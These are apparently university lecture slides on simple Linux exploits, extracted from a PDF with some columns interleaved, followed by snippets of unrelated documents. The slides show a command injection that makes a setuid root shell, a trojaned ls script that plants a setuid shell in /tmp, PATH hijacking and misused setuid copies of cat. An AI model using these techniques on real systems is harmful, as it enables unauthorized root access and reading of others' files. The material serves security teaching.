DOCSLIB.ORG

Simple Exploits O Your Data: Credit Card Number, Financial Information, SSN, Personal Information

Total Page：16

File Type：pdf, Size：1020Kb

Download full-text PDF Read full-text
Simple Exploits O Your Data: Credit Card Number, Financial Information, SSN, Personal Information What do Hackers Want? Simple Exploits o Your data: credit card number, financial information, SSN, personal information. o Your disk: pirated software (warez), illegal copies of movies/videos, porn, ... Thursday/Monday, October 16/20, 2014 o Your CPU (e.g. to crack passwords) Reading: Hacking Linux Exposed o Your bandwidth: send spam, participate in botnet, stepping stone to other attacks. CS342 Computer Security o To deny resources to you or your customers: for blackmail, competition, revenge. Department of Computer Science Wellesley College o ⇒ To own (pwn)/root your machine (or at least your account) by exploiting vulnerabilities. Simple Exploits 12-2 Overview Essence of Exploits Goal: discuss typical vulnerabilities & exploits in Linux. o Study details/assumptions of system Understand these for PS4 Treasure Hunt problem! o elevation of privilege o Take advantage of details and violate assumptions! o password exploits (recall the Hacker Curriculum and Security Mindset). o incorrectly set permissions o US Postal System examples; (Note: do not try these!) o leveraging SUID/SGID programs o code injection • Can you send a letter without a stamp? o trojaned commands • Can you reuse a stamp? o PATH exploits o misspelling exploit o symbolic link exploits o document exploits o backdoor rootshells Simple Exploits 12-3 Simple Exploits 12-4 Elevation of Privilege Password Exploits Holy grail = rootshell, but the path there may be circuitious. If I know your password, I can be you on your computer. Also, may only need to get partially there. o Watch for passwords "sent in the clear" on network (especially wireless) guest o Find passwords stored unprotected on computer, perhaps in public files, emails, code, comments, logs, .bash_history, etc. The student permissions on some of these files might be set incorrectly. o Online password guessing (perhaps using knowledge of victim). faculty o Offline password cracking (e.g. John the ripper) -- must be able to read password file. sysadmin o Use passwords from keystroke logger o Social engineering: shoulder surfing, trick people to divulge root passwords, look at postits near computer, dumpster diving Simple Exploits 12-5 Simple Exploits 12-6 .bash_history file Use the source, Luke! "wendy@cs342-ubuntu-1:~$ cat ~/.bash_history Try to find and study the source code for potentially sudo emacs su – guest vulnerable programs: su – foo o In code, may find vulnerabilities like overflowable sudo emacs & buffers, overflowable numbers, code injection, wendy@cs342-ubuntu-1:~$ ls -al ~/.bash_history hardwired accounts and passwords, etc. -rw------- 1 wendy wendy 68 Sep 16 08:59 /homewendy/.bash_history o In comments, may find notes on potential vulnerabilities, passwords, etc. o Permissions are sometimes incorrectly set, so others can view this file. o Sometimes contains information valuable for attacker (e.g., passwords typed “out of phase”) o Sometimes contains forensic information for understanding an attack. Simple Exploits 12-7 Simple Exploits 12-8 SUID and SGID Program Attacks Simple SUID Example: mycat o Use Linux find command to find all accessible SUID and SGID o User lynux creates a secret file programs – prime targets for privilege escalation. [lynux@salmon exploits]$ echo "This is lynux's secret file" > secret.txt o Find source code for these programs to look for vulnerabilities. [lynux@salmon exploits]$ chmod 750 secret.txt o Disassemble and study object code. o To test SUID programs, user lynux makes an SUID copy of cat named o Use strace to study system calls made (don’t forget –f flag) mycat. Forgets to change permissions back. o Use Linux strings command to see strings in object code (e.g. [lynux@salmon exploits]$ which cat prompts, help messages, error messages, system functions linked /bin/cat to, etc.) [lynux@salmon exploits]$ cp /bin/cat mycat; chmod u+s mycat: ls -l mycat -rwsr-xr-x. 1 lynux lynux 48040 Sep 25 15:39 mycat o Experiment with SUID/SGID programs to find & exploit vulnerabilities: o Attacker gdome uses mycat to read lynuxs secret file • Use gleaned knowledge to craft diabolical inputs (for buffer [gdome@salmon exploits]$ cat secret.txt overflows, code injection, etc.) cat: secret.txt: Permission denied • Try boundary case and out-of-range inputs (e.g., negative [gdome@salmon exploits]$ ./mycat secret.txt numbers, large numbers, empty string, very long strings) This is lynux's secret file Simple Exploits 12-9 Simple Exploits 12-10 Another SUID Example Code Injection Exploits o User lynux writes SUID program ~/bin/submit username psetfile Bad guys can take advantage of shoddy input handling to execute arbitrary code as someone else. to submit student pset data files to ~/psets/username/psetfile. o Filename mangling from previous example. o The code for submit is essentially o Inject Linux commands into C programs that execute strings constructed write the contents of psetfile to the file whose name is the from user input. concatentation ~/psets/ + username + / + psetfile o Inject HTML and JavaScript into web pages that include user input in page (e.g., original Tanner photo contest site). o What kind of attacks can be made with this program? o Inject database commands into SQL programs: e.g., xkcd's "Exploits of a Mom": http://xkcd.com/327/ Simple Exploits 12-11 Simple Exploits 12-12 Code Injection: newpasswd Example Code Injection: newpasswd Example part 2 Suppose root tries to make command-line passwords (only available to Next, the machinations to make newpasswd setuid: root) available to everyone via a setuid script: #!/bin/bash –p // Contents of /root/newpasswd.c # contents of /root/newpasswd.sh int main (int argc, char* argv) { echo "Executing /root/newpasswd.sh" execv("/root/newpasswd.sh", argv); echo $1 | /usr/bin/passwd --stdin `whoami` } o In raw C, can use system to execute string argument in a shell: system ”echo $1 | /usr/bin/passwd --stdin `whoami`” [root@localhost ~]# gcc -o newpasswd newpasswd.c o Other ways to construct and execute code out of parts on the fly: [root@localhost ~]# cp newpasswd /usr/bin/newpasswd • C’s exec, execv, and execve [root@localhost ~]# chmod 4755 /usr/bin/newpasswd • eval in JavaScript, Python, PHP, Perl, and Lisp [root@localhost ~]$ ls -l /usr/bin/newpasswd o This code won't really work anyway because /usr/bin/passwd only -rwsr-xr-x 1 root root 4832 2008-09-23 06:16 /usr/bin/newpasswd allows the --stdin option for real UID root, not for effective UID root. But let's suppose root doesn't know this. o Ubuntu doesn’t support –-stdin option (but some other Linuxes do) Simple Exploits 12-13 Simple Exploits 12-14 Code Injection: newpasswd Example part 3 Code Injection: newpasswd Example part 4 Now gdome tries out newpasswd: [gdome@localhost ~]$ newpasswd foo; cp /bin/bash ~gdome/ mine; chmod 4755 ~gdome/mine; echo bar" [gdome@localhost ~]$ newpasswd foobar Executing /root/newpasswd.sh Executing /root/newpasswd.sh foo Only root can do that. Only root can do that. The underlying /usr/bin/passwd fails because real UID gdome != root. [gdome@localhost ~]$ ls -l mine But gdome can still do sneaky things! -rwsr-xr-x 1 root gdome 735004 2008-09-23 06:04 mine [gdome@localhost ~]$ newpasswd foo; echo bar; echo baz" [gdome@localhost ~]$ ./mine -p Executing /root/newpasswd.sh mine-3.2# whoami foo root bar Only root can do that. Simple Exploits 12-15 Simple Exploits 12-16 Preventing Code Injection Exploits Trojaned ls program o Dont directly execute input or embed it in system contexts #!/bin/bash (like filenames). # gdomes ~/bin/ls_trojan program o If you must use user input directly, first either # Make suid shell in /tmp/foo cp /bin/bash /tmp/foo • Verify that input doesnt contain problematic parts: chmod 4755 /tmp/foo ! semicolons in Linux commands # Now do what ls does ! .. or starting / in filenames exec ls "$@ ! unmatched string quotes, angle brackets (HTML), parens (Javascript) Now gdome tries to trick other users into running ! Code fragments (HTML, Javascript, …) her ls program in place of regular ls. • Sanitize input to remove problematic parts. Path attacks are one way to do this. Simple Exploits 12-17 Simple Exploits 12-18 Linux PATH variable: Prelude to An Exploit Overriding PATH with Absolute Pathnames Linux uses PATH variable to find executables. (This variable is set/changed in Can override PATH mechanism by giving absolute pathname ~/.bash_profile, ~/.bashrc) [lynux@localhost ~]$ which ~/bin/passwd [lynux@localhost ~]$ echo $PATH /usr/kerberos/bin:/usr/local/bin:/usr/bin:/bin:.:/home/lynux/bin:. ~/bin/passwd Linux searches PATH in order to find an executable for a relative [gdome@localhost setuid]$ echo $PATH (non-absolute) pathname. Can see what it finds with which command. /usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/home/gdome/bin [lynux@localhost ~]$ which passwd /usr/bin/passwd [gdome@localhost setuid]$ which rootshell [lynux@localhost ~]$ which ls /usr/bin/which: no rootshell in (/usr/kerberos/bin:/usr/local/bin: /bin/ls /bin:/usr/bin:/home/gdome/bin) [lynux@localhost ~]$ which findit ~/bin/findit [gdome@localhost setuid]$ which ./rootshell [lynux@localhost ~]$ which rootshell ./rootshell /usr/bin/which: no rootshell in (/usr/kerberos/bin:/usr/local/bin:/usr/bin: /bin:.:/home/lynux/bin:.) [lynux@localhost ~]$ cd ~/cs342/download/setuid/ [lynux@localhost setuid]$ which rootshell ./rootshell Simple Exploits 12-19 Simple Exploits 12-20 Linux Path Exploit: PATH begins with . Avoiding Linux Path Exploit Suppose "." is at the beginning of PATH: Can avoid the above attack by putting "." at end of PATH or excluding it altogether. [lynux@localhost ~]$ export PATH=.:$PATH; echo $PATH .:/usr/kerberos/bin:/usr/local/bin:/usr/bin:/bin:.:/home/lynux/bin ... lynux in a new shell after moving . to end of PATH … Nefarious gdome can trick lynux into running her trojaned ls program: [lynux@localhost ~]$ echo $PATH /usr/kerberos/bin:/usr/local/bin:/usr/bin:/bin:/home/lynux/bin:.
Load more

Recommended publications
  • Configuring UNIX-Specific Settings: Creating Symbolic Links : Snap
    Configuring UNIX-specific settings: Creating symbolic links Snap Creator Framework NetApp September 23, 2021 This PDF was generated from https://docs.netapp.com/us-en/snap-creator- framework/installation/task_creating_symbolic_links_for_domino_plug_in_on_linux_and_solaris_hosts.ht ml on September 23, 2021. Always check docs.netapp.com for the latest. Table of Contents Configuring UNIX-specific settings: Creating symbolic links . 1 Creating symbolic links for the Domino plug-in on Linux and Solaris hosts. 1 Creating symbolic links for the Domino plug-in on AIX hosts. 2 Configuring UNIX-specific settings: Creating symbolic links If you are going to install the Snap Creator Agent on a UNIX operating system (AIX, Linux, and Solaris), for the IBM Domino plug-in to work properly, three symbolic links (symlinks) must be created to link to Domino’s shared object files. Installation procedures vary slightly depending on the operating system. Refer to the appropriate procedure for your operating system. Domino does not support the HP-UX operating system. Creating symbolic links for the Domino plug-in on Linux and Solaris hosts You need to perform this procedure if you want to create symbolic links for the Domino plug-in on Linux and Solaris hosts. You should not copy and paste commands directly from this document; errors (such as incorrectly transferred characters caused by line breaks and hard returns) might result. Copy and paste the commands into a text editor, verify the commands, and then enter them in the CLI console. The paths provided in the following steps refer to the 32-bit systems; 64-bit systems must create simlinks to /usr/lib64 instead of /usr/lib.
    [Show full text]
  • Process Text Streams Using Filters
    Process Text Streams Using Filters OBJECTIVE: Candidates should should be able to apply filters to text streams. 1 Process Text Streams Using Filters KeyKEY knowledge KNOWLEDGE area(s): AREAS: Send text files and output streams through text utility filters to modify the output using standard UNIX commands found in the GNU textutils package. 2 Process Text Streams Using Filters KEY FILES,TERMS, UTILITIES cat nl tail cut paste tr expand pr unexpand fmt sed uniq head sort wc hexdump split join tac 3 cat cat the editor - used as a rudimentary text editor. cat > short-message we are curious to meet penguins in Prague Crtl+D *Ctrl+D - command is used for ending interactive input. 4 cat cat the reader More commonly used to flush text to stdout. Options: -n number each line of output -b number only non-blank output lines -A show carriage return Example cat /etc/resolv.conf ▶ search mydomain.org nameserver 127.0.0.1 5 tac tac reads back-to-front This command is the same as cat except that the text is read from the last line to the first. tac short-message ▶ penguins in Prague to meet we are curious 6 head or tail using head or tail - often used to analyze logfiles. - by default, output 10 lines of text. List 20 first lines of /var/log/messages: head -n 20 /var/log/messages head -20 /var/log/messages List 20 last lines of /etc/aliases: tail -20 /etc/aliases 7 head or tail The tail utility has an added option that allows one to list the end of a text starting at a given line.
    [Show full text]
  • Humidity Definitions
    ROTRONIC TECHNICAL NOTE Humidity Definitions 1 Relative humidity Table of Contents Relative humidity is the ratio of two pressures: %RH = 100 x p/ps where p is 1 Relative humidity the actual partial pressure of the water vapor present in the ambient and ps 2 Dew point / Frost the saturation pressure of water at the temperature of the ambient. point temperature Relative humidity sensors are usually calibrated at normal room temper - 3 Wet bulb ature (above freezing). Consequently, it generally accepted that this type of sensor indicates relative humidity with respect to water at all temperatures temperature (including below freezing). 4 Vapor concentration Ice produces a lower vapor pressure than liquid water. Therefore, when 5 Specific humidity ice is present, saturation occurs at a relative humidity of less than 100 %. 6 Enthalpy For instance, a humidity reading of 75 %RH at a temperature of -30°C corre - 7 Mixing ratio sponds to saturation above ice. by weight 2 Dew point / Frost point temperature The dew point temperature of moist air at the temperature T, pressure P b and mixing ratio r is the temperature to which air must be cooled in order to be saturated with respect to water (liquid). The frost point temperature of moist air at temperature T, pressure P b and mixing ratio r is the temperature to which air must be cooled in order to be saturated with respect to ice. Magnus Formula for dew point (over water): Td = (243.12 x ln (pw/611.2)) / (17.62 - ln (pw/611.2)) Frost point (over ice): Tf = (272.62 x ln (pi/611.2)) / (22.46 -
    [Show full text]
  • A Brief Introduction to Unix-2019-AMS
    Brief Intro to Linux/Unix Brief Intro to Unix (contd) A Brief Introduction to o Brief History of Unix o Compilers, Email, Text processing o Basics of a Unix session o Image Processing Linux/Unix – AMS 2019 o The Unix File System Pete Pokrandt o Working with Files and Directories o The vi editor UW-Madison AOS Systems Administrator o Your Environment [email protected] o Common Commands Twitter @PTH1 History of Unix History of Unix History of Unix o Created in 1969 by Kenneth Thompson and Dennis o Today – two main variants, but blended o It’s been around for a long time Ritchie at AT&T o Revised in-house until first public release 1977 o System V (Sun Solaris, SGI, Dec OSF1, AIX, o It was written by computer programmers for o 1977 – UC-Berkeley – Berkeley Software Distribution (BSD) linux) computer programmers o 1983 – Sun Workstations produced a Unix Workstation o BSD (Old SunOS, linux, Mac OSX/MacOS) o Case sensitive, mostly lowercase o AT&T unix -> System V abbreviations 1 Basics of a Unix Login Session Basics of a Unix Login Session Basics of a Unix Login Session o The Shell – the command line interface, o Features provided by the shell o Logging in to a unix session where you enter commands, etc n Create an environment that meets your needs n login: username n Some common shells n Write shell scripts (batch files) n password: tImpAw$ n Define command aliases (this Is my password At work $) Bourne Shell (sh) OR n Manipulate command history IHateHaving2changeMypasswordevery3weeks!!! C Shell (csh) n Automatically complete the command
    [Show full text]
  • Cygwin User's Guide
    Cygwin User’s Guide Cygwin User’s Guide ii Copyright © Cygwin authors Permission is granted to make and distribute verbatim copies of this documentation provided the copyright notice and this per- mission notice are preserved on all copies. Permission is granted to copy and distribute modified versions of this documentation under the conditions for verbatim copying, provided that the entire resulting derived work is distributed under the terms of a permission notice identical to this one. Permission is granted to copy and distribute translations of this documentation into another language, under the above conditions for modified versions, except that this permission notice may be stated in a translation approved by the Free Software Foundation. Cygwin User’s Guide iii Contents 1 Cygwin Overview 1 1.1 What is it? . .1 1.2 Quick Start Guide for those more experienced with Windows . .1 1.3 Quick Start Guide for those more experienced with UNIX . .1 1.4 Are the Cygwin tools free software? . .2 1.5 A brief history of the Cygwin project . .2 1.6 Highlights of Cygwin Functionality . .3 1.6.1 Introduction . .3 1.6.2 Permissions and Security . .3 1.6.3 File Access . .3 1.6.4 Text Mode vs. Binary Mode . .4 1.6.5 ANSI C Library . .4 1.6.6 Process Creation . .5 1.6.6.1 Problems with process creation . .5 1.6.7 Signals . .6 1.6.8 Sockets . .6 1.6.9 Select . .7 1.7 What’s new and what changed in Cygwin . .7 1.7.1 What’s new and what changed in 3.2 .
    [Show full text]
  • 80842-Su | Cc/Led/27W/E26-E39/Mv/50K Corn Cob Sunlite
    Item: 80842-SU CC/LED/27W/E26-E39/MV/50K CORN COB SUNLITE General Characteristics Bulb Corn Lamp Type Corn Cob Lamp Life Hours 50000 Hours Material Aluminium & Plastic LED Type LG5630 Base Medium (E26) Lumens Per Watt (LPW) 135.00 Life (based on 3hr/day) 45.7 Years Estimated Energy Cost $3.25 per Year Safety Rating UL Listed Ingress Protection IP64 Sunlite CC/LED/27W/E26-E39/MV/50K LED 27W (100W MHL/HPSW Electrical Characteristics Equivalent) Corn Bulb, Medium (E26), Watts 27 5000K Super White Volts 100-277 Equivalent Watts 100 LED Chip Manufacturer LG5630 Sunlite's super efficient LED corn lamps were created to Number of LEDs 84 replace the equivalent but power hungry metal halide and Power Factor 0.9 high-pressure sodium lamps. Capable of withstanding water sprays from any direction in thanks to its IP64 rating, these Temperature -40° To 140° bulbs will keep outdoor paths, back yards and many more locations illuminated for a significantly longer period of time Light Characteristics when compared to a high-pressure sodium lamp or a metal Brightness 3645 Lumens halide while also lowering your electrical usage. Color Accuracy (CRI) 85 Light Appearance Super White Color Temperature 5000K • This modern corn cob lamp produces an efficient 5000K Beam Angle 360° super white beam of 360° light at a powerful 3645 lumens • On average, this multi-volt LED corn cob lamp lasts up to Product Dimensions an astonishing 50,000 hours and features 84 energy MOL (in) 7.4 saving diodes Diameter (in) 3.65 • Ideal for all post lights, Street lights, security Lighting, high Package Dimensions (in) (W) 3.70 (H) 11.90 (D) 3.80 bay lights while also designed for indoor as well as Product Data outdoor usage.
    [Show full text]
  • Μmachine Definitions
    Machine/Code For the final part of the CS450 project, you are to complete a fully functional Pascal compiler. Since it would be impractical to have you generate assembly code for a real machine (with all the intricacies of the target machine), we have created a virtual machine that has been designed specifically for a Pascal compiler. The Machine (and is associated assembly language Code) greatly simplifies the task of code generation while still requiring you to handle many of the problems faced by other compiler writers. At this point in time, you should have written a scanner and parser for Pascal, should be working on the symbol table and should be thinking about semantic processing and code generation. The following information about the Machine and Code is provided to assist you in your design and implementation of the remaining parts of the Pascal compiler project: Machine Specification: The Machine is a virtual machine (simulated by a program) with the following hardware characteristics: Separate instruction space (for assembly code) and RAM (for data storage/retrieval) 10 general purpose registers (D0 - D9) Special stack pointer register (SP) The Machine is a stack-based machine; all memory is allocated/deallocated on the data stack residing in RAM: The data stack supports types: Integer, Float/Fixed, Strings. All data types have the same size of 1. The data stack grows upwards (starts at 0, pushes increment the SP, pops decrement the SP) Supported Data Types Integer: As defined in the Pascal tokens document. Size: 1. Float/Fixed: Numbers represented as floating point or fixed point are supported and have a size of 1.
    [Show full text]
  • How the /Etc/Passwd File Relates to the Laua User
    Page 1 (2) System Foundation 9.0 laua User and Group How the /etc/passwd File Relates to the laua User Scenario Most users who need access to the Lawson environment will need to have a user account set up on the Operating System where Lawson System Foundation 9.0 has been installed. Users will need resources allocated to run their jobs and space in the directory structure to store their print files. The user account on the Operating System is what allows the allocation of resources and space. In the example presented in this session, users are associated to the Unix Operating System and setup via the /etc/passwd file. The information stored on the user account in the file is used by Lawson’s Legacy Security System, laua. This scenario will present the /etc/passwd file and highlight the important parts of the user represented in the file and how it relates to user setup. Workflow Step 1 of 3: To verify that a user has an account on the Unix Operating System where the Lawson server resides, view the /etc/passwd file on the Lawson server. To do so, you must first access a command line which can be done either through LID (Lawson Insight Desktop) or through lawterminal which is command line access through the Lawson portal. This demonstration will use LID. First access your command line. Action: Type in 'cd /etc' and press the 'Enter' key. © Copyright Lawson Learning 2008 Page 2 (2) Step 2 of 3: You can use any method you choose to view the file.
    [Show full text]
  • Unix Security Overview: 1
    CIS/CSE 643: Computer Security (Syracuse University) Unix Security Overview: 1 Unix Security Overview 1 User and Group • Users – root: super user (uid = 0) – daemon: handle networks. – nobody: owns no files, used as a default user for unprivileged operations. ∗ Web browser can run with this mode. – User needs to log in with a password. The encrypted password is stored in /etc/shadow. – User information is stored in /etc/passwd, the place that was used to store passwords (not anymore). The following is an example of an entry in this file. john:x:30000:40000:John Doe:/home/john:/usr/local/bin/tcsh • Groups – Sometimes, it is more convenient if we can assign permissions to a group of users, i.e. we would like to assign permission based on groups. – A user has a primary group (listed in /etc/passwd), and this is the one associated to the files the user created. – Any user can be a member of multiple groups. – Group member information is stored in /etc/group % groups uid (display the groups that uid belongs to) – For systems that use NIS (Network Information Service), originally called Yellow Page (YP), we can get the group information using the command ypcat. % ypcat group (can display all the groups and their members) 2 File Permissions • File Permissions – The meaning of the permission bits in Unix. ∗ Owner (u), Group (g), and Others (o). ∗ Readable (r), Writable (w), and Executable (x). ∗ Example: -rwxrwxrwx (777) • Permissions on Directories: – r: the directory can be listed. – w: can create/delete a file or a directory within the directory.
    [Show full text]
  • Useful Commands in Linux and Other Tools for Quality Control
    Useful commands in Linux and other tools for quality control Ignacio Aguilar INIA Uruguay 05-2018 Unix Basic Commands pwd show working directory ls list files in working directory ll as before but with more information mkdir d make a directory d cd d change to directory d Copy and moving commands To copy file cp /home/user/is . To copy file directory cp –r /home/folder . to move file aa into bb in folder test mv aa ./test/bb To delete rm yy delete the file yy rm –r xx delete the folder xx Redirections & pipe Redirection useful to read/write from file !! aa < bb program aa reads from file bb blupf90 < in aa > bb program aa write in file bb blupf90 < in > log Redirections & pipe “|” similar to redirection but instead to write to a file, passes content as input to other command tee copy standard input to standard output and save in a file echo copy stream to standard output Example: program blupf90 reads name of parameter file and writes output in terminal and in file log echo par.b90 | blupf90 | tee blup.log Other popular commands head file print first 10 lines list file page-by-page tail file print last 10 lines less file list file line-by-line or page-by-page wc –l file count lines grep text file find lines that contains text cat file1 fiel2 concatenate files sort sort file cut cuts specific columns join join lines of two files on specific columns paste paste lines of two file expand replace TAB with spaces uniq retain unique lines on a sorted file head / tail $ head pedigree.txt 1 0 0 2 0 0 3 0 0 4 0 0 5 0 0 6 0 0 7 0 0 8 0 0 9 0 0 10
    [Show full text]
  • The AWK Programming Language
    The Programming ~" ·. Language PolyAWK- The Toolbox Language· Auru:o V. AHo BRIAN W.I<ERNIGHAN PETER J. WEINBERGER TheAWK4 Programming~ Language TheAWI(. Programming~ Language ALFRED V. AHo BRIAN w. KERNIGHAN PETER J. WEINBERGER AT& T Bell Laboratories Murray Hill, New Jersey A ADDISON-WESLEY•• PUBLISHING COMPANY Reading, Massachusetts • Menlo Park, California • New York Don Mills, Ontario • Wokingham, England • Amsterdam • Bonn Sydney • Singapore • Tokyo • Madrid • Bogota Santiago • San Juan This book is in the Addison-Wesley Series in Computer Science Michael A. Harrison Consulting Editor Library of Congress Cataloging-in-Publication Data Aho, Alfred V. The AWK programming language. Includes index. I. AWK (Computer program language) I. Kernighan, Brian W. II. Weinberger, Peter J. III. Title. QA76.73.A95A35 1988 005.13'3 87-17566 ISBN 0-201-07981-X This book was typeset in Times Roman and Courier by the authors, using an Autologic APS-5 phototypesetter and a DEC VAX 8550 running the 9th Edition of the UNIX~ operating system. -~- ATs.T Copyright c 1988 by Bell Telephone Laboratories, Incorporated. All rights reserved. No part of this publication may be reproduced, stored in a retrieval system, or transmitted, in any form or by any means, electronic, mechanical, photocopy­ ing, recording, or otherwise, without the prior written permission of the publisher. Printed in the United States of America. Published simultaneously in Canada. UNIX is a registered trademark of AT&T. DEFGHIJ-AL-898 PREFACE Computer users spend a lot of time doing simple, mechanical data manipula­ tion - changing the format of data, checking its validity, finding items with some property, adding up numbers, printing reports, and the like.
    [Show full text]
  • Basic Unix/Linux Commands
    Unix/Linux Basic commands Learn the basics of grep, sed, awk, find, sort, uniq, cut, cat, etc We will study them using sample requirements 1. Determine all the users that are having at least two first names. Using /etc/passwd file as an input. 2. Replace all the bash shells with csh in the /etc/passwd file. Eg. /bin/bash should be replaced with /bin/csh. 3. Replace all the home directories with /home/missing in the same /etc/passwd file. 4. Count the number of lines in a file. 5. Count the number of words starting with letter b/B in /etc/passwd file. 6. Determine the most popular family name found in the /etc/passwd file. 7. Display all text file names in the current directory ordered by their name. 8. Display all the files having more than 100 bytes. 9. Display all the files that the current user has at least read permission. 10. Sort the content of the /etc/passwd file ascending/descending by the fifth column. 11. Display the first 25 lines from the /etc/passwd file. 12. Display the last 30 lines from the /etc/passwd file. 13. If a file has N lines display the lines between N/2 and N/2+10. 14. Display all the unique parent directories from the /etc/passwd file. Eg. on the sixth column we have the home directory, like: /home/scs/master/an1/gr246/abicr2020, from this we will consider the /home/scs/master/an1/gr246/ as the parent directory. 15. Display the first 10 characters from each line of /etc/passwd file.
    [Show full text]